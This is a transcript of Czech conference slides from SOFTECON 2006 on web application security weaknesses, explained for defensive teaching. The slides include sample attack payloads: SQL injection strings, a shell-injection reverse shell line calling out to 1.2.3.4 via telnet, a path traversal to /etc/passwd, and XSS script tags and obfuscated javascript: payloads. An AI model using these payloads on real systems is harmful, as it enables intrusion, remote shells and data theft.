Pavel Kaňkovský, DCIT Consulting. kan@dcit.cz SOFTECON 2006 2. 3. 2006



Podobné dokumenty
Testování webových aplikací Seznam.cz

Zranitelnosti webových aplikací. Vlastimil Pečínka, Seznam.cz Roman Kümmel, Soom.cz

Šifrování Autentizace Bezpečnostní slabiny. Bezpečnost. Lenka Kosková Třísková, NTI TUL. 22. března 2013

rychlý vývoj webových aplikací nezávislých na platformě Jiří Kosek

1 Webový server, instalace PHP a MySQL 13

Ing. Přemysl Brada, MSc., Ph.D. Ing. Martin Dostal. Katedra informatiky a výpočetní techniky, FAV, ZČU v Plzni

Obsah přednášky. Představení webu ASP.NET frameworky Relační databáze Objektově-relační mapování Entity framework

1. Webový server, instalace PHP a MySQL 13

Hitparáda webhackingu nestárnoucí hity. Roman Kümmel

PHP a bezpečnost. nejen veřejná

VÝVOJ INTERNETOVÝCH APLIKACÍ - VIA

INFORMAČNÍ SYSTÉMY NA WEBU

1. Úvod do Ajaxu 11. Jak Ajax funguje? 13

2.přednáška. Informační bezpečnost: Systém řízení informační bezpečnosti (ISMS)

Kurz je rozdělen do čtyř bloků, které je možné absolvovat i samostatně. Podmínkou pro vstup do kurzu je znalost problematiky kurzů předešlých.

Současný svět Projekt č. CZ.2.17/3.1.00/32038, podpořený Evropským sociálním fondem v rámci Operačního programu Praha adaptabilita

Úvodem 9. Zpětná vazba od čtenářů 10 Zdrojové kódy ke knize 10 Errata 10. Než začneme 11

DUM č. 11 v sadě. 36. Inf-12 Počítačové sítě

Zabezpečení proti SQL injection

PHP PHP je skriptovací programovací jazyk dynamických internetových stránek PHP je nezávislý na platformě

Vývoj Internetových Aplikací

Funkční specifikace ABOKWS. Aplikační rozhraní elektronického bankovnictví ABO-K. Verze 0.5

Dokumentace k nevizuálnímu rozhraní aplikace DopisOnline

Protokol HTTP 4IZ228 tvorba webových stránek a aplikací

Databázové systémy. Doc.Ing.Miloš Koch,CSc.

Zabezpečení proti SQL injection

Principy fungování WWW serverů a browserů. Internetové publikování

Elektronická podpora výuky předmětu Komprese dat

8.2 Používání a tvorba databází

VZOROVÝ STIPENDIJNÍ TEST Z INFORMAČNÍCH TECHNOLOGIÍ

Vstupní požadavky, doporučení a metodické pokyny

Úvod do informačních služeb Internetu

Databázové aplikace pro internetové prostředí PHP úvod, základní princip, vkládání skriptu, komentáře, výpis na obrazovku

Úvod do aplikací internetu a přehled možností při tvorbě webu

PRŮBĚHOVÝ TEST Z PŘEDNÁŠEK

Datové schránky ante portas

Třídy a objekty. Třídy a objekty. Vytvoření instance třídy. Přístup k atributům a metodám objektu. $z = new Zlomek(3, 5);

POKYNY K REGISTRACI PROFILU ZADAVATELE

Uživatel počítačové sítě

Jednorázová hesla pro zvýšení bezpečnosti vzdáleného přístupu mobilních uživatelů

Obsah. Předmluva Kapitola 1 Úvod 1. Web v kostce 1 Kdo je webmaster? 4 Doporučená literatura 4. Kapitola 2 Přehled jazyka HTML 5

Kritéria hodnocení praktické maturitní zkoušky z databázových systémů

Střední průmyslová škola elektrotechnická Praha 10, V Úžlabině 320 M A T U R I T N Í T É M A T A P Ř E D M Ě T U

Úvod do tvorby internetových aplikací

Střední průmyslová škola elektrotechnická Praha 10, V Úžlabině 320

Pokročilé techniky tvorby sestav v Caché. ZENové Reporty

Registrační číslo projektu: CZ.1.07/1.5.00/ Elektronická podpora zkvalitnění výuky CZ.1.07 Vzděláním pro konkurenceschopnost

Artlingua Translation API

Technická specifikace Platební brána IBS

DUM 15 téma: Příkazy pro řízení přístupu

GTL GENERATOR NÁSTROJ PRO GENEROVÁNÍ OBJEKTŮ OBJEKTY PRO INFORMATICA POWERCENTER. váš partner na cestě od dat k informacím

Část IV - Bezpečnost 21. Kapitola 19 Bezpečnostní model ASP.NET 23

UDS for ELO. Univerzální datové rozhraní. >> UDS - Universal Data Source

Platební systém XPAY [

Návod na používání webmailu

Cross-Site Scripting (XSS)

Kritéria hodnocení praktické maturitní zkoušky z databázových systémů

Obsah. Kapitola 1. Kapitola 2. Kapitola 3. Kapitola 4. Úvod 11. Stručný úvod do relačních databází 13. Platforma 10g 23

Semináˇr Java X J2EE Semináˇr Java X p.1/23

Bezpečnost internetového bankovnictví, bankomaty

Content Security Policy

Audit bezpečnosti počítačové sítě. Předmět: Správa počítačových sítí Jiří Kalenský

Úvod - Podniková informační bezpečnost PS1-2

Databáze II. 1. přednáška. Helena Palovská

Základy databází. O autorech 17 PRVNÍ ČÁST. KAPITOLA 1 Začínáme 19

ÚROVEŇ BEZPEČNOSTI INTERNETOVÝCH APLIKACÍ V ČESKÉ REPUBLICE SECURITY OF INTERNET APPLICATIONS IN THE CZECH REPUBLIC. Petr Zelenka

Požadavky pro výběrová řízení TerraBus ESB/G2x

Instalace a konfigurace

Penetrační test & bezpečnostní audit: Co mají společného? V čem se liší?

Maturitní otázky z předmětu PROGRAMOVÁNÍ

MATLABLINK - VZDÁLENÉ OVLÁDÁNÍ A MONITOROVÁNÍ TECHNOLOGICKÝCH PROCESŮ

Prezentace XML. XML popisuje strukturu dat, neřeší vzhled definice vzhledu:

DNSSEC Validátor - doplněk prohlížečů proti podvržení domény

Athena Uživatelská dokumentace v

Synchronizace CRM ESO9 a MS Exchange

SSL Secure Sockets Layer

Certifikáty a jejich použití

Bezpečnost v Gridech. Daniel Kouřil EGEE kurz 12. prosince Enabling Grids for E-sciencE.

MBI - technologická realizace modelu

Audit bezpečnosti počítačové sítě

Jen správně nasazené HTTPS je bezpečné

Příručka pro dodavatele. Systém EZVR 1.1 Verze dokumentu 1.3 Datum vydání:

WWW dotazovací služby pro prostorová data URM. Jiří Čtyroký Útvar rozvoje hl. m. Prahy

Max Homebanking PS uživatelský manuál rozhraní pro automatické stahování dat

Uživatelská dokumentace

ANOTACE vytvořených/inovovaných materiálů

Instalace a první spuštění Programu Job Abacus Pro

Škola: Gymnázium, Brno, Slovanské náměstí 7 III/2 Inovace a zkvalitnění výuky prostřednictvím ICT Název projektu: Inovace výuky na GSN

Specifikace požadavků. POHODA Web Interface. Verze 1.0. Datum: Autor: Ondřej Šrámek

Maturitní témata Školní rok: 2015/2016

language="javascript">... </script>.

O Apache Derby detailněji. Hynek Mlnařík

Příručka uživatele HELPDESK GEOVAP

TRANSPORTY výbušnin (TranV)

Dell SonicWALL. Security tips & tricks. Jan Ježek business communication s.r.o.

Sísyfos Systém evidence činností

[ 1 ] Ing. Tomáš Melen náměstek pro informatiku a ekonomiku 2009 Státní ústav pro kontrolu léčiv

Provádí ochranu sítě před napadením (ochrana počítačů nestačí) Odděluje uživatele (prvek nespolehlivosti) od prvků ochrany

Tvorba webových stránek

KOMPONENTY APLIKACE TreeINFO. Petr Štos ECM Business Consultant

Transkript:

Bezpečnostní slabiny webových aplikací Pavel Kaňkovský, DCIT Consulting kan@dcit.cz SOFTECON 2006 2. 3. 2006

Obsah Úvod co jsou webové aplikace a čím jsou specifické Autentizace a správa uživatelských seancí autentizace požadavků ochrana komunikace mezi klientem a serverem Důvěra mezi klientem a serverem autorizace požadavků podvržená falešná či upravená data Vkládáních řídících a speciálních dat různá interpretace dat v různých kontextech útoky proti serverům i proti klientům Jak se bránit, závěr Bezpečnostní slabiny webových aplikací SOFTECON 2006 2

Co jsou webové aplikace Architektura klient-server vnitřní struktura serveru nás ted nezajímá Klient je běžný webový prohlížeč (MSIE, Firefox atd.) Uživatelské rozhraní realizováno ve stylu WWW HTML, CSS (XHTML, XSL... ) JavaScript (případně Java applety, ActiveX... ) Komunikace pomocí HTTP a HTTPS přes rozlehlou sít typicky Internet/extranet nebo rozsáhlý intranet Nezaměňovat s webovými službami ovšem některé webové aplikace mohou používat webové služby některé problémy jsou společné, nebo mají analogie Bezpečnostní slabiny webových aplikací SOFTECON 2006 3

Bezpečnostní specifika webových aplikací I Provoz klientské části obvykle zcela mimo kontrolu vlastníka aplikace (narozdíl od serverové části) Klientský software (čili prohlížeč) sdílen různými aplikacemi tyto aplikace si vzájemně nedůvěřují separace aplikací je na bedrech prohlížeče (ehm, ehm... ) Komunikace probíhá skrz nedůvěryhodné prostředí klient domácí Wi-Fi ISP klienta páteřní sít 1 páteřní sít 2 ISP serveru server (tady to může pokračovat) Data jsou při zpracování různě kódována a dekódována databáze XML XHTML HTTP DOM uživatel uživatel DOM URL encoding HTTP SQL databáze Bezpečnostní slabiny webových aplikací SOFTECON 2006 4

Bezpečnostní specifika webových aplikací II Webové aplikace jsou často přístupné širokému okruhu osob veřejně přístupná celá aplikace (anonymně, s otevřenou registrací) veřejně přístupný vstupní bod (přihlašovací formulář) V mnoha případech jsou zpřístupňovány interní systémy nepřipravené na provoz ve vysoce rizikovém prostředí! Webové aplikace jsou velmi různorodé, často lidová tvořivost jak říká kolega Karel Miko: když máte aplikaci na zakázku, tak máte na zakázku i její chyby (včetně bezpečnostních slabin) ovšem standardní aplikace či platformy také nejsou bez chyb Útoky obvykle vedeny až na aplikační vrstvě mimo zorné pole obranných mechanismů na nižších úrovních šifrovaná komunikace + firewall (nebo IDS či IPS) = Hlava 22 Bezpečnostní slabiny webových aplikací SOFTECON 2006 5

Identifikace a autentizace uživatelů Nejčastější metodou je jméno a heslo zadávané do formuláře všechny klasické problémy s autentizací pomocí hesel nový problém spyware, keyloggery a podobná havět I špatnou věc (hesla) lze dále pokazit... (to platí obecně) absence detekce a prevence hádání hesel rozlišení chybného jména od správného jména a chybného hesla omezení množiny platných hesel (PINy, horizontální útok ) zapamatovaná hesla v prohlížeči Ostatní metody méně časté... ale i principiálně kvalitní metody lze pokazit příklad 1: ověřování znalosti privátního klíče pomocí generování digitálního podpisu pro konstantní vstup příklad 2: akceptování klientského certifikátu od nevěrohodné CA Bezpečnostní slabiny webových aplikací SOFTECON 2006 6

Kontext uživatelských seancí HTTP je sám o sobě bezestavový protokol neexistuje spolehlivý vztah mezi uživateli, TCP spojeními, IP adresami u každého jednotlivého požadavku je třeba určit, ke které seanci patří Řešení: klient do každého požadavku explicitně vkládá identifikátor aktuální seance získaný (obvykle) od serveru cookies nejčastější metoda, např. ASPSESSIONIDQQBSCTSR=GNAGAAHDFODJFLDMEEBBMPNJ session cookie vs. persistent cookie části URL, např. https://www.aplikace.cz/funkce.asp?session=12345678 https://www.aplikace.cz/12345678/funkce.asp skrytá pole formulářů (std. HTTP autentizace apod. autentizace uživatele při každé operaci) Bezpečnostní slabiny webových aplikací SOFTECON 2006 7

Útoky na uživatelské seance Session hijacking: zjistí-li nepřítel identifikátor cizí seance, může do ní vstoupit a provádět operace cizím jménem Prozrazení identifikátoru seance odposlouchávání (absence příznaku secure u cookie) údaj v hlavičce Referer při přechodu na jiné sídlo, historie browseru Uhádnutí identifikátoru seance jsou-li generovány predikovatelným způsobem (např. malá celá čísla) někdy lze dokonce vygenerovat zcela fiktivní seanci Session riding: využití automatického doplňování údajů o seanci (cookies) a možnosti vstoupit doprostřed aplikace nepřítel zmanipuluje browser oběti k přechodu na URL nějaké funkce aplikace (pokud možno destruktivní) zvlášt pikantní v kombinaci s automatickým přihlašováním Bezpečnostní slabiny webových aplikací SOFTECON 2006 8

Ochrana komunikace mezi klientem a serverem Kryptografická ochrana komunikace (S v HTTPS) je pro vytvoření bezpečné webové aplikace podmínka většinou nutná, ale nikoli postačující. Chybné nebo podezřelé certifikáty certifikáty vydané nějakou podivnou CA (nebo rovnou self-signed) certifikáty s již prošlou platností, krátké a slabé klíče špatné kořenové a jiné CA certifikáty Mixování zabezpečeného a nezabezpečeného obsahu často při vstupu do aplikace: např. uživatel vstupuje přes www.aplikace.cz (HTTP) a je automaticky přesměrován extrém: přechod na HTTPS až po vyplnění přihlašovacího formuláře! Uživatelé tomu nerozumí a všechno bez přemýšlení odklikají... a jsou v tom ještě utvrzováni výše popsanými problémy Bezpečnostní slabiny webových aplikací SOFTECON 2006 9

Útoky proti důvěřivému serveru Klientský software je plně v moci uživatele (i zlého) nepřítel může číst, pozměňovat, modifikovat, odstraňovat, nebo opakovaně používat veškerá data, která jeho klient dostane od serveru, nebo naopak jeho klient posílá na server (HTTPS je bezmocné!) stejně dobře může generovat nová data, at už odvozená od reálných, nebo zcela fiktivní, a vkládat je do komunikace mezi klientem a serverem může potlačit či zmanipulovat jakékoli operace prováděné na klientovi Manipulovat je možno opravdu se všemi daty, se kterými klient pracuje... URL komponenty cesty, parametry pole formulářů včetně skrytých skryté části HTML dokumentů (komentáře), skripty cookies, další údaje v hlavičkách HTTP (User-Agent) Bezpečnostní slabiny webových aplikací SOFTECON 2006 10

Manipulace s URL URL tampering: pozměňování částí existujících URL (zejména parametrů) Forceful browsing: vynucený přechod na explicitně zadané URL v rámci aplikace bez použití hyperlinku Je toto všechno v aplikaci řádně ošetřeno? mějme aplikaci, ve které jsou URL tvaru https://www.aplikace.cz/zobraz_zaznam.asp?id=1287 nepřítel může zkusit změnit identifikátor záznamu https://www.aplikace.cz/zobraz_zaznam.asp?id=1288... také může zkusit hledat staré verze skriptu https://www.aplikace.cz/zobraz_zaznam.asp.old... nebo najít jiné, běžně nepřístupné funkce https://www.aplikace.cz/admin.asp Bezpečnostní slabiny webových aplikací SOFTECON 2006 11

Manipulace se skrytými hodnotami Nepřítel může změnit jakákoli data, která si u něho server uschová skrytá pole ve formulářích, cookies... obfuskace není dostatečná ochrana Požadavek lze modifikovat i na cestě mezi prohlížečem a serverem mějme aplikaci, kde klient generuje požadavky tvaru (zkráceno) POST /objednavka.asp HTTP/1.1... Cookie: Zakaznik=56789; Nakupni_kosik=1234:Prvn%ED %20druh%20zbo%BE%ED:590:0,2345:Jin%FD%20druh%20zbo %BE%ED:1990:0,celkem:2580 (prázdný řádek) operace=pridat_do_kosiku&objcis=3456&nazev=n%ecco %20%FApln%EC%20jin%E9ho&cena=17990&sleva=0 co se stane, když nepřítel pozmění některou z označených částí? může nakupovat na cizí účet? může měnit cenu zboží či celého nákupu? Bezpečnostní slabiny webových aplikací SOFTECON 2006 12

Manipulace s hodnotami ve formulářích Nepřítel může zadat do formulářů jakékoli nesmyslné hodnoty omezení dané strukturou a parametry vstupních polí (max. délky hodnot, výčty hodnot u výběrových polí) lze obejít omezení implementovaná skripty (svázanými s událostmi onkeypress, onblur, onsubmit apod.) lze také obejít Je mnoho způsobů, jak obejít kontrolu vstupů na klientovi pozměňování dat během komunikace (viz předchozí slajd) úprava HTML dokumentu obsahujícího formulář manipulace s daty pomocí skriptového debuggeru libovolný prohlížeč umožňuje operativní spouštění vlastních skriptů pomocí URL schématu javascript:, např. javascript:void(document.forms[0].cena.value=1) javascript:void(document.forms[0].submit()) Bezpečnostní slabiny webových aplikací SOFTECON 2006 13

Útoky využívající vkládání řídících dat Implementace webových aplikací komunikují různými jazyky SQL při komunikaci s databázemi HTML (+ JavaScript) při posílání dat na klienta a jiné (shell, LDAP, XML, XPath, samotné HTTP... ) Každý používaný jazyk má specifickou syntaxi a specifické řídící znaky či sekvence znaků zejména zajímavé jsou značky měnící mód jazyka z dat na příkazy např. apostrofy v SQL, < a > v HTML (a XML) atd. nikdy nevíme, jaká temná zákoutí lze v parseru nalézt obecná poučka: je třeba explicitně povolovat a ne explicitně zakazovat! Kus dat vložený do (kon)textu v některém z těchto jazyků může nabýt naprosto neočekávaného významu... tedy z pohledu tvůrce dané aplikace Bezpečnostní slabiny webových aplikací SOFTECON 2006 14

SQL injection I SQL injection: situace, kdy jsou nedůvěryhodná textová data bez patřičné kontroly vkládána doslova do SQL dotazů či příkazů nepřítel může pozměňovat dotazy a dotazovat se na data, ke kterým vůbec neměl mít přístup (např. čísla cizích kreditních karet) nepřítel může někdy dokonce i data v databázi neoprávněně modifikovat, spouštět programy atd. Názorný příklad jednoduché změny dotazu mějme aplikaci, která pro vstup Josef Novák vygeneruje dotaz select * from Osoby where Jmeno= Josef Novák předpokládejme, že aplikace je ochotna do dotazu doslovně a beze změny vložit úplně jakákoli vstupní data pokud nepřítel zadá jako vstup or = bude výsledkem dotaz select * from Osoby where Jmeno= or = s podstatně odlišným významem Bezpečnostní slabiny webových aplikací SOFTECON 2006 15

SQL injection II Lze se dotazovat i na jiné tabulky nejlépe použitím spojky union, např. select * from Osoby where Jmeno = and 1=0 union all select a, b, sloupec1, sloupec2, c from Tajna tabulka-- také lze použít vnořené dotazy, joiny... schéma databáze lze uhádnout nebo zjistit z metadat Někdy aplikace vrací jen část požadovaného výsledku dotazu jen několik řádek postupně iterovat podle hodnot klíče jen několik sloupců konkatenovat nebo položit víc samostatných dotazů Blind SQL injection: SQL injection, při které se vrací informace jen postranními kanály (výskyt chyby, doba zpracování požadavku atd.) rozdělit informaci na jednotlivé bity a dotazovat se postupně Bezpečnostní slabiny webových aplikací SOFTECON 2006 16

SQL injection III Vložení apostrofu není nezbytná podmínka nedůvěryhodná data nemusí být obklopena apostrofy (číselné údaje, případně jména sloupců, tabulek atd., i celé části dotazů) viz obecnou poučku o temných zákoutích parseru Není třeba se omezovat jen na čtení dat některé dialekty umožňují dotaz transformovat na sekvenci dotazů, DML příkazů, volání uložených procedur aj. (přímo nebo nepřímo přes systémovou funkci à la xmlgen.getxml v Oracle) databázové stroje poskytují řadu zajímavých systémových procedur a funkcí (xp_cmdshell v MS SQL, balíky utl_* v Oracle... ) lze útočit na slabiny samotného databázového stroje lze útočit na okolí databázového serveru (často vnitřní sít ) Bezpečnostní slabiny webových aplikací SOFTECON 2006 17

Další možnosti vkládání příkazů Sestavování shellových (a jiných) příkazů např. odesílání elektronické pošty na jmeno@domena.cz příkazem /usr/lib/sendmail -oi jmeno@domena.cz zadáním textu obsahujícího řídící znak (apostrof, ale pozor na Bash 1.x!) lze do generovaného příkazu vložit další kód, např. reverzní shell /usr/lib/sendmail -oi jmeno@domena.cz ; (sleep 9999 telnet 1.2.3.4 25 sh 2>&1 telnet 1.2.3.4 25) </dev/null >/dev/null 2>&1 &# Možnost nahrávat na server soubory pod libovolnými jmény a později na ně přistupovat stačí vyrobit skript v patřičném jazyce (např. ASP), nahrát ho na server s vhodným jménem (xyz.asp) a přistoupit na odpovídající URL server předložený skript vykoná A tak dále... Bezpečnostní slabiny webových aplikací SOFTECON 2006 18

Manipulace se jmény souborů Nedůvěryhodná data mohou být také použita jako jména souborů nebo jejich části soubory se zpracovávanými vstupními daty soubory obsahující šablony generovaných stránek totéž se ostatně děje i přímo v běžném HTTP serveru nepřítel může dosáhnout práce se soubory, se kterými se pracovat nemělo (vyzrazení důvěrných dat, poškození souborů, nepřímý útok na kód, který s daty pracuje tzv. second order attack) Path traversal: úprava používaného jména souboru tak, aby byla při jeho zpracování opuštěna vyhrazená oblast souborového systému mějme např. tuto poměrně frekventovanou konstrukci v jazyce PHP if (file_exists... ) include("$dir/$parametr.php"); nepřítel zadá parametr../../../../../../etc/passwd%00 kombinace se speciálním významem znaku s kódem 0 Bezpečnostní slabiny webových aplikací SOFTECON 2006 19

HTML injection HTML injection: situace, kdy jsou nedůvěryhodná textová data bez patřičné kontroly vkládána doslova do generovaných dokumentů v jazyce HTML často se vyskytuje při vypisování stavových (zejména chybových) hlášení, kdy je do dokumentu opsána hodnota zadaných parametrů, např. hlášení Osoba Nesmysl nebyla nalezena! se může proměnit na hlášení Osoba <tag1> nebyla nalezena! lze samo o sobě použít pro vytvoření falešného obsahu dokumentu zejména zajímavá je možnost vkládání skriptů, viz dále Odbočka: jak prohlížeč určuje přístupová práva skriptů? zhruba platí, že pokud byl skript získán ze sídla S, pak má přístup ke všemu z S (načtené stránky, cookies, XMLHTTP) tento mechanismus se nazývá same origin policy (SOP) Bezpečnostní slabiny webových aplikací SOFTECON 2006 20

Cross-site scripting I Cross-site scripting (zkratka XSS): využití HTML injection k propašování skriptů do cizí webové aplikace prohlížeč považuje skript za autentickou součást aplikace a SOP ji přidělí přístup ke zbytku aplikace takový skript může krást jména a hesla, cookies a jiná data může také aktivně provádět operace v rámci aplikace může za chodu přijímat další instrukce Skripty lze do dokumentu vkládat různými způsoby základní cesta je tag <script>, umožňuje mj. načítat celé soubory ze zadaných URL, např. Osoba <script src="https:// www.zly-web.cz/skodic.js"> nebyla nalezena! lze použít atributy různých tagů, speciálně on* automaticky načítaná URL (obrázky, stylesheety) Bezpečnostní slabiny webových aplikací SOFTECON 2006 21

Cross-site scripting II Pokusy o XSS lze různě maskovat méně obvyklé způsoby kódování textů specifické vlastnosti konkrétních parserů (zejména MSIE) příklad: <img src="adresar/soubor.jpg"style= background:url(&#106ava&#115cript:alert(666))> Skripty mohou od nepřítele k oběti putovat různými cestami reflected XSS aplikace opisuje své vstupy, obět musí být např. zmanipulována k návštěvě zvláštního URL stored XSS jeden uživatel aplikace skript vloží do nějakých dat a aplikace ho neopatrně opíše, když si obět prohlíží data (diskuse, e-mail, e-banking!) DOM-based XSS zvláštní případ, kdy s daty neopatrně manipuluje přímo kód na klientovi (viz též některé nedávné slabiny v Mozille) Bezpečnostní slabiny webových aplikací SOFTECON 2006 22

Další možnosti vkládání řídících dat HTTP response splitting: nepřítel přiměje server, aby do hlavičky (typicky Location) opsal zadaný text včetně konců řádek a tak svou odpověd rozdělil na dvě další dotaz od klienta použije druhou část rozdělené odpovědi otrávení obsahu HTTP keše zrcadlový obraz na straně klienta, tzv. HTTP request smuggling (zlý skript + XMLHTTP), též analogický tradiční problém s FTP Další dotazovací jazyky LDAP lze např. měnit dotazovanou třídu objektů XPath lze poslepu (!) získat celý dokument Externí entity v XML XML parser je donucen přečíst zadaný soubor A tak dále... Bezpečnostní slabiny webových aplikací SOFTECON 2006 23

Jak se bránit? Programovat tak, aby nevznikaly slabiny všechna data od klienta (přímo či nepřímo) jsou nedůvěryhodná u všech vstupních dat vždy kontrolovat/zajišt ovat syntaxi (formát) i sémantiku (smysluplnost v daném kontextu, přístupová práva) specifikovat povolené hodnoty, nikoli naopak používat různé hodnoty na různých stranách barikády v případě potřeby data kódovat či odstraňovat problematické části, ale opatrně (cvičení: odstraňte text z tetextxt ) Prověřovat, zda je to naprogramováno bezpečně blackbox testing (typický penetrační test) whitebox testing, audit kódu formální verifikace Bezpečnostní slabiny webových aplikací SOFTECON 2006 24

Závěr Základním společným rysem většiny popsaných problémů je neopatrná práce s nedůvěryhodnými daty nedostatečně zajištěná autentičnost nedostatečně zajištěná integrita nežádoucí intepretace dat (server i klient) Udržet si náskok před nepřítelem monitorovat anomální stavy a chování aplikace sledovat objevy nových slabin a druhů slabin Existuje mnoho dalších typů slabin, které se vyskytují i ve webových aplikacích, ale nebyly diskutovány klasické problémy jako přetečení pole, race condition... logické chyby (viz podvody v MMORG) Bezpečnostní slabiny webových aplikací SOFTECON 2006 25

A to je vše, přátelé... Dotazy? Bezpečnostní slabiny webových aplikací SOFTECON 2006 26